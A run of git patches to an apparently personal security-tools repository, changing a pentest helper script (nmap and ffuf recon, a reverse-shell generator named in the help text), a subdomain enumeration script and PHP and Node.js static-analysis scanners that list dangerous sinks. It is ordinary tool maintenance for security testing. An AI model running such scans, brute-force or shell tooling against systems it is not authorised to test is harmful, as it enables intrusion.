+532,13 @@ case "$cmd" in generate_shells) generate_shells "$2" "$3" ;; - interactive) - interactive "$2" - ;; *) clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" - echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD - echo -e "\n$BLUE:: COMMANDS IN INTERACTIVE MODE ::$CLR" - echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" + echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" + echo -e "$BLUE:: PWN ::$CLR" + echo -e "\tpwn [DOMAIN]\t\t\t\t\t -> runs automated recon + pwning on DOMAIN" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" @@ -573,7 +548,7 @@ case "$cmd" in echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\thttp [PORT]\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" From b66c1aa002fd714a72c88d65fa84870fa901bdf4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 12 Aug 2021 00:31:02 +0100 Subject: [PATCH 186/460] [s0mbra, denumerator] some minor changes --- enumeratescope.sh | 14 ++++++++++---- nodestructor/nodestructor.py | 10 +++++----- s0mbra.sh | 4 +--- 3 files changed, 16 insertions(+), 12 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index a6d9aec..30b9f57 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -21,9 +21,10 @@ enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister - # amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder + amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then + if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN fi @@ -58,11 +59,16 @@ run_denumerator() { ## ----------------------------------------------------------------------------- -# list of domains - text file, one domain in single line +# list of domains - text file, one domain per line DOMAINS=$1 # output directory for denumerator -OUTPUT_DIR=$2 +if [ -z $2 ]; then + OUTPUT_DIR="report" +else + OUTPUT_DIR=$2 +fi + # IP address range CIDR=$3 diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index a59d428..18464d0 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -34,11 +34,11 @@ example usages: $ ./nodestructor filename.js - $ ./nodestructor -R ./dirname - $ ./nodestructor -R ./dirname --skip-node-modules --skip-test-files - $ ./nodestructor -R ./node_modules --exclude=babel,lodash,ansi - $ ./nodestructor -R ./node_modules --include=body-parser,chalk,commander - $ ./nodestructor -R ./node_modules --pattern="obj.dangerousFn\(" + $ ./nodestructor -r ./dirname + $ ./nodestructor -r ./dirname --skip-node-modules --skip-test-files + $ ./nodestructor -r ./node_modules --exclude=babel,lodash,ansi + $ ./nodestructor -r ./node_modules --include=body-parser,chalk,commander + $ ./nodestructor -r ./node_modules --pattern="obj.dangerousFn\(" """ nodejs_patterns = [ diff --git a/s0mbra.sh b/s0mbra.sh index 217bc02..25cc747 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -352,7 +352,7 @@ jadx() { apk() { clear echo -e "$BLUE[+] OK, let's see this APK...$CLR" - unzip $1 + unzip -d unzipped $1 if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" apktool d $1 @@ -537,8 +537,6 @@ case "$cmd" in echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" - echo -e "$BLUE:: PWN ::$CLR" - echo -e "\tpwn [DOMAIN]\t\t\t\t\t -> runs automated recon + pwning on DOMAIN" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" From c0801a776a9420a9f5560492982d5dd6abb1c21e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 12 Aug 2021 14:29:29 +0100 Subject: [PATCH 187/460] [enumeratescope, s0mbra] small adjustments --- enumeratescope.sh | 10 +++++----- s0mbra.sh | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 30b9f57..1b4134a 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all @@ -40,9 +40,9 @@ create_list_of_domains() { cat domains/*.* > domains/domains.all sort -u -k 1 domains/domains.all > domains/__domains # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/__domains.final + sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/final rm -f domains/domains.all - echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log + echo -e "$(date) ... Done! $(cat domains/final|wc -l) unique domains gathered \o/" >> subdomain_enum.log } @@ -50,7 +50,7 @@ create_list_of_domains() { run_denumerator() { echo $1 echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 --dir $1 --output __$1.log + denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log } @@ -85,7 +85,7 @@ done # concatenate and sort all domains from the target create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" +echo -e "\n[+} DONE. Found $(wc -l domains/final) unique subdomains" # run denumerator on the domains/domains.final output file run_denumerator $OUTPUT_DIR diff --git a/s0mbra.sh b/s0mbra.sh index 25cc747..b82e18b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -380,7 +380,7 @@ abe() { fu() { clear echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,422,500 } generate_shells() { From 8665970df33ec3533edd4237b046fa6f2e49965f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 13 Aug 2021 22:39:09 +0100 Subject: [PATCH 188/460] [s0mbra] remove / from before FUZZ for dictionaries were entries start from / --- enumeratescope.sh | 2 +- s0mbra.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 1b4134a..e22da00 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all diff --git a/s0mbra.sh b/s0mbra.sh index b82e18b..b12a9c5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -380,7 +380,7 @@ abe() { fu() { clear echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 } generate_shells() { From beb1e8f4692048243a57632a0d6365cae2266f2b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 18 Aug 2021 07:02:30 +0100 Subject: [PATCH 189/460] [s0mbra] fu, *_nmap_scan improvements --- s0mbra.sh | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index b12a9c5..3407b98 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -379,8 +379,19 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,422,500...$CLR" + if [[ -n $3 ]]; then + if [[ $3 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 + fi + else + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 + fi } generate_shells() { @@ -524,7 +535,7 @@ case "$cmd" in s3 "$2" ;; fu) - fu "$2" "$3" + fu "$2" "$3" "$4" ;; s3go) s3go "$2" "$3" @@ -539,8 +550,8 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" - echo -e "\tquick_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\tquick_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\tfull_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" @@ -569,7 +580,7 @@ case "$cmd" in echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From deef1fb54e1b54fec099ff84e718fc273f761889 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 20 Aug 2021 22:19:37 +0100 Subject: [PATCH 190/460] [s0mbra,enumeratescope] some changes --- enumeratescope.sh | 2 +- s0mbra.sh | 7 ++----- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index e22da00..1b4134a 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all diff --git a/s0mbra.sh b/s0mbra.sh index 3407b98..3e15efb 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -60,15 +60,14 @@ set_ip() { full_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" - echo -e "\t\t -> search open ports..." ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e "\t\t -> search open ports..." ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi @@ -80,11 +79,9 @@ full_nmap_scan() { quick_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CLR" - echo -e "\t\t -> search open ports..." nmap -p- $1 else echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" - echo -e "\t\t -> search top $2 open ports..." nmap --top-ports $2 $1 fi From 73637d12123fb3043296f9fadd14538acfe52f3e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 31 Aug 2021 22:04:51 +0100 Subject: [PATCH 191/460] changes --- apache-tomcat-login-bruteforce.py | 1 - codestructor/codestructor.py | 13 ------------- nodestructor/nodestructor.py | 6 ++++++ 3 files changed, 6 insertions(+), 14 deletions(-) delete mode 100755 codestructor/codestructor.py diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py index 0f15823..b050d2e 100755 --- a/apache-tomcat-login-bruteforce.py +++ b/apache-tomcat-login-bruteforce.py @@ -102,7 +102,6 @@ 'demo:demo' ] - def brute(args): """ Iterate over login:password pairs from credentials array and send GET request to diff --git a/codestructor/codestructor.py b/codestructor/codestructor.py deleted file mode 100755 index 3e5b1d6..0000000 --- a/codestructor/codestructor.py +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env python3 -''' - CODEStructor.py - Static Code Analysis grep-like tool on steroids :) - - grep-like search for dangerous code patterns, sources and sinks - - search for secrets, hardcoded credentials, interesting strings like hashes etc. - - detailed, colorful output with configurable verbosity level - - based on my previous tools: nodestructor and pef - - @author bl4de - @github https://github.com/bl4de/security-tools -''' -import argparse - diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 18464d0..2daa19d 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -12,6 +12,12 @@ GitHub: bl4de | Twitter: @_bl4de | hackerone.com/bl4de bloorq@gmail.com """ + +""" +some ideas: +https://attacker-codeninja.github.io/2021-08-24-code-review-notes-from-bug-bounty-bootcamp/ + +""" import os import re import argparse From 0db27832aa4f4268d8e8fcd630e499e3c97df610 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 17 Sep 2021 00:03:50 +0100 Subject: [PATCH 192/460] [pef] Weird IndexError when pef reaches PHP parse_str() function --- denumerator/denumerator.py | 1 - pef/imports/pefdefs.py | 5 ++--- pef/imports/pefdocs.py | 22 ++++++++++++++-------- pef/pef.py | 2 ++ 4 files changed, 18 insertions(+), 12 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 5e6c4f0..9e5278d 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -25,7 +25,6 @@ """ import argparse -import sys import os import subprocess import time diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 5a7d8fd..3aa0375 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -7,6 +7,8 @@ "popen(", "pcntl_exec(", "eval(", + "arse_str(", # use arse_str(, because somehow, parse_str causes "IndexError: list index out of range" o_O + "parse_url(", "preg_replace(", "create_function(", "include(", @@ -17,7 +19,6 @@ "proc_open(", "pcntl_exec(", "extract(", - "parse_str(", "putenv(", "ini_set(", "mail(", @@ -102,7 +103,6 @@ "passthru(", "shell_exec(", "extract(", - "parse_str(", "putenv(", "unserialize(", "readfile(", @@ -116,7 +116,6 @@ "__sleep(", "__call(", "__callStatic(", - "filter_var(", "file_put_contents(" ] diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 856f40b..4423a84 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -23,6 +23,12 @@ "RCE", "high" ], + "parse_url()": [ + "parse_url — Parse a URL and return its components", + "parse_url(string $url, int $component = -1): mixed", + "SSRF, Filter Bypass", + "medium" + ], "parse_str()": [ "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", "parse_str ( string $encoded_string [, array &$result ] ) : void" @@ -407,13 +413,13 @@ "SSRF", "medium" ], - "__destruct()":[ + "__destruct()": [ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], - "__wakeup()":[ + "__wakeup()": [ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", "__wakeup ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", @@ -437,37 +443,37 @@ "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], - "filter_var()":[ + "filter_var()": [ "Filters a variable with a specified filter", "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", "Validation bypass (in certain conditions)", "low" ], - "file_put_contents()":[ + "file_put_contents()": [ "Write data to a file", "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", "medium" ], - "SELECT.*FROM":[ + "SELECT.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" ], - "INSERT.*INTO":[ + "INSERT.*INTO": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" ], - "UPDATE.*":[ + "UPDATE.*": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" ], - "DELETE.*FROM":[ + "DELETE.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", diff --git a/pef/pef.py b/pef/pef.py index 21c68fb..09a5dcd 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -302,6 +302,8 @@ def run(self): engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) engine.run() + except IndexError as e: + print("IndexError in {}: {}".format(filename, e)) except UnicodeDecodeError as e: print("UnicodeDecodeError in {}: {}".format(filename, e)) except FileNotFoundError as e: From 4ef549866724d5bab324497df144f42bda74d9cd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Oct 2021 08:05:53 +0100 Subject: [PATCH 193/460] [enumeratescope] Fix for duplicated domains in final list --- enumeratescope.sh | 20 +++++++++++--------- s0mbra.sh | 2 +- 2 files changed, 12 insertions(+), 10 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 1b4134a..864cc66 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -16,13 +16,13 @@ create_domains_folder() { } -## perform sublist3r and amass enumeration on each domain passed as an argument +## perform sublist3r, subfinder and amass enumeration on each domain passed as an argument enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all @@ -32,16 +32,18 @@ enumerate_domain() { echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log } -## processing all outputed list of domains into one, removing dups -## and sorting +## creates list of uniqe, sorted domains obtained from subdomain enum tools: create_list_of_domains() { echo -e "$(date) create final list of domains found..." >> subdomain_enum.log # concatenate and sort all domains from the target - cat domains/*.* > domains/domains.all - sort -u -k 1 domains/domains.all > domains/__domains - # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/final - rm -f domains/domains.all + cat domains/*.* > domains/all + # remove
left from DNS records into unsorted list with dups: + sed 's/
/#/g' domains/all | tr '#' '\n' > domains/unsorted + # remove dups and create final list of domains: + sort -u -k 1 domains/unsorted > domains/final + # remove temporary files + rm -f domains/all domains/unsorted + # show how many uniq domains were found: echo -e "$(date) ... Done! $(cat domains/final|wc -l) unique domains gathered \o/" >> subdomain_enum.log } diff --git a/s0mbra.sh b/s0mbra.sh index 3e15efb..1906126 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -577,7 +577,7 @@ case "$cmd" in echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From 8cdf4361fc39ce386fc0e8ca5d04e36b10997f2e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 14 Oct 2021 16:25:50 +0100 Subject: [PATCH 194/460] [Denumerator] HTML Report output improvements - fold results by HTTP reponse code --- denumerator/denumerator.py | 144 ++++++++++++++++++++++++++++++++++--- 1 file changed, 133 insertions(+), 11 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 9e5278d..419636c 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -65,7 +65,8 @@ requests.packages.urllib3.disable_warnings() timeout = 2 -nmap = False +nmap = True +element_class_name_iterator = 1 def usage(): @@ -88,6 +89,27 @@ def create_output_header(html_output): font-size: 12px; } + BODY { + margin:0px; + } + + DIV#header { + position: fixed; + padding-left: 30px; + top: 0px; + height:70px; + width: 100%; + background-color:#09a; + border-bottom:2px solid #ccc; + } + + DIV#container { + margin-top:100px; + width: 100%; + padding:10px; + text-align:center; + } + H4 { font-size: 14px; color: #777; @@ -103,19 +125,100 @@ def create_output_header(html_output): vertical-align: top; text-align: left; padding: 10px; - border-top: 12px solid #6e6f6f; + } + + TD.boundary { + border-top: 5px solid #6e6f6f; + border-bottom: 2px solid #6e6f6f; + padding-left: 20px; + background-color: #fafff4; + } + + .fold { + display: none; + } + + .unfold { + display: block; + background-color: #f9f9db; + } + + A.toggle { + margin-left:30px; + font-size: 18px; + font-weight:bold; + cursor: pointer; + padding:5px 20px; + border:1px solid #dadede; + + border-radius: 10px; + } + + A.off { + background-color: #f1f1fa; + } + + A.on { + background-color: #c4f3c5; + } + + A.url { + font-weight: bold; + font-size:16px; + text-decoration:none; + margin-left: 120px; } - + + + + + +
+
""" html_output.write(html) return def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): + global element_class_name_iterator + screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="HackerOne" --disable-gpu --dns-prefetch-disable --log-level=0 --timeout=30000 --virtual-time-budget=999999 --run-all-compositor-stages-before-draw --screenshot={} '.format( @@ -162,17 +265,23 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ # HTTP response headers response_headers_html = "" for header in response_headers.keys(): - response_headers_html = response_headers_html + "

{} : {}

".format( + response_headers_html = response_headers_html + "

{} : {}

".format( header, response_headers[header] ) + element_class_name = 'result_{}'.format(element_class_name_iterator) + element_class_name_iterator += 1 html = """ - + + + @@ -189,7 +298,19 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ {} - """.format(http_status_code_color, http_status_code, url, url, screenshot_name, response_headers_html, ip_html, nmap_html) + """.format( + http_status_code_color, + element_class_name, + http_status_code, + url, + url, + (http_status_code//100), + element_class_name, + screenshot_name, + response_headers_html, + ip_html, + nmap_html + ) html_output.write(html) html_output.flush() return @@ -197,7 +318,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ def create_output_footer(html_output): html = """ -
-

HTTP Response Status: {}

-

- {} -

+
+

+ HTTP Response Status: {} + {} +

+
+ + """ From dce50979eefe7ce998139c154ecc19e541369a5e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 15 Oct 2021 22:01:37 +0100 Subject: [PATCH 195/460] [Denumerator] Updated TODO - remove implemented stuff --- denumerator/denumerator.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 419636c..45daf8b 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -3,10 +3,6 @@ """ @TODO - results summary -- disable/enable by HTTP Response Code (200/500/404/403/302) -- HTTP response headers - - """ From d8c42a7a1e7ccbe272078674cf83fa5e8047d286 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 16 Oct 2021 18:20:38 +0100 Subject: [PATCH 196/460] [dec0der] simple tool to echo decoded string in expected format (ASCII, Base64) --- dec0der.sh | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100755 dec0der.sh diff --git a/dec0der.sh b/dec0der.sh new file mode 100755 index 0000000..bd914db --- /dev/null +++ b/dec0der.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +# simple command line decoder/enmcoder +# by bl4de +# +# invoke: +# dec0der [FROM] [string] + +FROM=$1 +STRING=$2 + +if [[ $FROM == 'ascii' ]]; then + echo $STRING | xxd -r -p +fi + +if [[ $FROM == 'base64' ]]; then + echo $STRING | base64 -D +fi From b4c44f19bb7309a074fbe0ed6551ad36bd4db24f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 26 Oct 2021 12:52:29 +0100 Subject: [PATCH 197/460] [crater.sh] CRT.sh automation tool (in progress) 